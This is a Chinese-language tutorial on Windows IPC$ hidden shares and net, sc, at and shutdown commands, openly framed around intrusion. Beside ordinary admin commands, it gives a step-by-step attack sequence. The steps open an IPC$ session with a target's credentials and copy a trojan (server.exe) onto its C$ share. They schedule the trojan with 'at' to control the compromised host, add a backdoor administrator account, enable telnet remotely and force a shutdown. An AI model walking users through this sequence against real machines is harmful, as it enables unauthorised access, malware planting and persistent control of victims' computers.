IPC
概述
IPC$是Windows系统特有的一项管理功能,是微软公司为了方便用户使用计算机而设计的,主要用来远程管理计算机的。但事实上使用这个功能最多的人不是网络管理员,而是“入侵者”!他们通过建立IPC$连接与远程主机实现通信和控制。通过IPC$连接的建立,入侵者能够做到:
- 建立、拷贝、删除远程计算机文件;
- 在远程计算机上执行命令。
- 远程文件操作
相关知识
什么是IPC
IPC是英文Internet Process Connection的缩写,可以理解为“命名管道”资源,它是Windows操作系统提供的一个通信基础,用来在两台计算机进程之间建立通信连接,而IPC后面的“$”是Windows系统所使用的隐藏符号,因此“IPC$”表示IPC共享,但是是隐藏的共享。IPC$是Windows NT及Windows 2000/XP/2003特有的一项功能,通过这项功能,一些网络程序的数据交换可以建立在IPC上面,实现远程访问和管理计算机。打个比方,IPC连接就像是挖好的地道,通信程序就通过这个IPC地道访问目标主机。默认情况下IPC是共享的,除非手动删除IPC$。通过IPC$连接,入侵者就能够实现远程控制目标主机。因此,这种基于IPC的入侵也常常被简称为IPC入侵。
关于Windows操作系统的默认共享
为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\WINNT\)等,即为ADMIN$、C$、D$、E$等等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。在MS-DOS中键入“net share”命令来查看本机共享资源,如图2-1所示。
DOS命令
下面介绍几个比较基础DOS命令,这些都是DOS中经常使用的命令。 DIR命令:列出当前路径下的文件,常常用来查看想要找的文件是否在该路径下,如图2-2所示。 CD命令:进入指定的目录。比如,想进入E盘中的CODE文件夹,则在E:\>下键入“CD CODE”命令,如图2-3所示。
常用的net命令
- net user:系统账号类操作;
- net localgroup:系统组操作
- net use:远程连接、映射操作
- net send:信使命令
- net time:查看远程主机系统时间
- cls命令:清屏命令。
- netstat -n命令:查看本机网络连接状态
- nbtstat -a IP命令:查看指定IP主机的NetBIOS信息。
- net user 查看有哪些用户
- net user 帐户名 查看帐户的属性
- net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
- net start 查看开启了哪些服务
- net start 服务名 开启服务;(如:net start telnet, net start schedule)
- net stop 服务名 停止某服务
- net time \\目标ip 查看对方时间
- net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
- net view 查看本地局域网内开启了哪些共享
- net view \\ip 查看对方局域网内开启了哪些共享
- net config 显示系统网络设置
- net logoff 断开连接的共享
- net pause 服务名 暂停某服务
- net send ip "文本信息" 向对方发信息
- net ver 局域网内正在使用的网络连接类型和信息
- net share 查看本地开启的共享
- net share ipc$ 开启ipc$共享
- net share ipc$ /del 删除ipc$共享
- net share c$ /del 删除C:共享
- net user guest 12345 用guest用户登陆后用将密码改为12345
- net password 密码 更改系统登陆密码
- netstat -a 查看开启了哪些端口,常用netstat -an
- netstat -n 查看端口的网络连接情况,常用netstat -an
- netstat -v 查看正在进行的工作
- netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
- netstat -s 查看正在使用的所有协议使用情况
- nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名
一些常用的Net命令与例子:
- 建立IPC连接的命令:Net use \\IP\ipc$ “” /user:username
- 例如:Net use \\127.0.0.1\ipc$ 123456 /user :administrator
- 这个命令的意思就是与用户名为adminidtrator用户密码为123456的主机127.0.0.1建立ipc$空连接
- 删除IPC$空连接:Net use \\ip /del
- 例如:Net use \\127.0.0.1 /del 删除与主机127.0.0.1已经建立的Ipc$连接
- 启动关闭服务:
- Net start //查看已经开启的服务
- Net start servername
- Net stop servername
- 启动关闭共享
- Net share ipc$ //开启ipc$默认共享
- Net share ipc$ /del //关闭ipc$默认共享
- Net share c=c:\ //完全共享c盘
- Net share d=d:\ //删除完全共享的d盘
- 映射硬盘:Net use z: \\ip\c$
- 例如:Net use z: \\127.0.0.1\c$ //把127.0.0.1的C盘映射成本机的z盘
- 说明:映射成功后,你在我的电脑里面里面就会多出一个硬盘Z,其实Z就是127.0.0.1的C盘!
- Net use z: /del //断开映射
- 入侵中的作用:把对方的硬盘映射过来以后我们就能直接复制文件到对方的硬盘下面了
- 成功实现的条件:必须与对方建立ipc$连接
- 远程复制文件_Copy
- Copy e:\3389.exe \\127.0.0.1\c$ \\将本地的E盘下的3389.exe这个文件copy到对方系统的C盘根目录下
- Copy在入侵中的作用:把本地文件复制到对方硬盘
- Copy复制成功所需的条件:必须与主机建立ipc$连接
- 查看远程系统的时间
- Net time \\IP
- Net time \\127.0.0.1 //查看远程主机127.0.0.1的本地时间
- 作用:得到对方时间好为自己计划任务种下木马做准备
- 远程运行程序
- At \\ip time server.exe
- At \\127.0.0.1 12:30 c:\server.exe \\让主机在中午12:30分运行我们已经复制到他C盘根目录下的木马server.exe
- 在入侵中作用:这样我们就可以用我们的木马服务端来连接我们木马,,更好的使用图形方式来控制肉鸡.(推荐使用神气儿 ^_^)
- 添加管理员帐号:
- Net user juntuan 1234 /add \\添加一个密码为1234名字为 军团的用户
- Net localgroup administrators juntuan /add \\把juntuan这个用户添加到管 理员组
- 注意:有些系统的管理员组不是administrators你要根据实际情况来改,不过99.9%的系统的管理员组还是administrators的。
- 修改用户密码:
- Net user juntuan 1234 \\把用户juntuan的密码修改成1233。
- 远程登陆主机_telnet
- 传输文件命令_ftp
- 其实这个我个人觉得用途不大,毕竟当你拿到了FTP密码之后你可以用flashftp或者cutftp有一个图形截面的交互如何不好呢?
- 首先在CMD里面输入ftp
- 然后输入:open IP port
- 例如:open 127.0.0.1 1234 //连接登陆127.0.0.1的1234端口
- 如何开启windows系统自带的ftp服务:
- Net start msftppsvc
- 查看文件夹的属性_cacls
- Cacls xiaod //查看xiaod这个文件夹的属性
- 参数说明:F:(完全控制)R:(只读)C:(允许更改)W:(允许写入)N:(没有任何权限)
- 删除文件_del
- Del是用来删除文件命令
- 首先进入你想删除的文件的目录
- Del xiaod.txt //删除xiaod.txt这个个文件
- Del xiaod.txt /f //强制删除xiaod.txt这个个文件(当该文件无法正常删除的时候使用该命令)
- finger命令
- Finger是一个信息刺探命令一般在对方开启了79端口时命令使用
- Finger –l user @computer
- 参数详解: -l 用长列表格式显示消息
User:指定用户的信息
- 成功实现的条件:对方必须安装tcp/ip协议
- 文件写入命令_echo:
- Echo 你好 > index.htm //用你好来覆盖index.htm的内容
- Echo 你好 >>index.htm //将“你好”添加到index.htm
- 写入注册表文件_regedit
- Regedit /s filename.reg //s是写入参数
- 端口映射_chgport
- Chgport 3=5 //将端口3映射到5
- Chgport /d* //删除所有端口映射
- 文件映射_subst
- Subst b:\ c:\winnt \\这个时候当你访问硬盘B的时候你就是访问了 c:\winnt目录
- 查看当前正在使用的帐号:
- Query session //查看帐号
- 踢掉指定用:
- Logoff id //注意ID,是在用query session查看到的用户的id而不是用户名。
- 发送消息给某用户或者内网主机
- Net send hostname or /IP message
- 例如:net send xiaod or /127.0.0.1 hello!
- 命令设置用户不能更改密码
- net user xt1 xt1 /passwordchg:no
- 把用户添加属于administrators用户组:
- net localgroup "administrators" xt1 /add
- net user xxxx /expires:never命令 只能实现xxxx账户的过期时间。
- net user命令并没有提供设置用户密码永不过期的勾选命令。
IPC的net命令使用 赋予域用户本地管理权限
域用户在本地计算机上默认的权限不是很高,很多时候操作起来很不方便。以管理员权限运行cmd命令:
- net localgroup Administrators /add springs\dmbi
将springs域中的用户dmbi加入本地的Administrators组。该方式不需要域管理员的权限,只需本地管理员的权限就可以了。图形化界面,必须要有域管理员权限才容易操作。
IPC net命令telnet远程计算机
telnet默认是不开启的,我们可以通过ipc$连接来开启,整个过程如下:
- 建立IPC连接
net use \\IP password /user:administrator
- 把Telnet服务改成“自动”
sc \\IP config tlntsvr start= auto 注意:auto前面有一个空格
- 启动Telnet服务
sc \\IP start tlntsvr
- telnet IP port
- 例如:telnet 127.0.0.1 1234 //连接登陆127.0.0.1的1234端口
- (当目标主机的端口是默认的23的时候我们不需要+端口即:telnet IP 就好)
- Net start telnet //开启telnet服务
- Net stop telnet //关闭telnet服务
- 开启远程telnet服务
- 如果已经建立IPC$连接,可以使用下面命令开启telnet服务
- sc \\ip地址 qc tlntsvr 查看是否开启telnet服务
- sc \\ip地址 config tlatsvr start=auto 帮助开启telnet服务
- 更改管理员密码
net user administrator password
- 使用wmic命令开启远程计算机的远程桌面
- 别忘了远程登录计算机后停用并禁用telnet服务!
IPC远程关机
- 获取远程管理权限
- shutdown –s –t 10 –m \\IP –c “xxxxxx”-f
- 说明:
- 如果要重启的话把-s改成-r即可
- -c “xxxxxx”这个是弹出一个对话框
- -f是强制执行命令
- 用了-c,需要有足够的时间看见提示,所以-t 10设置关机倒计时为10秒
- -m \\IP 是指定要关机的ip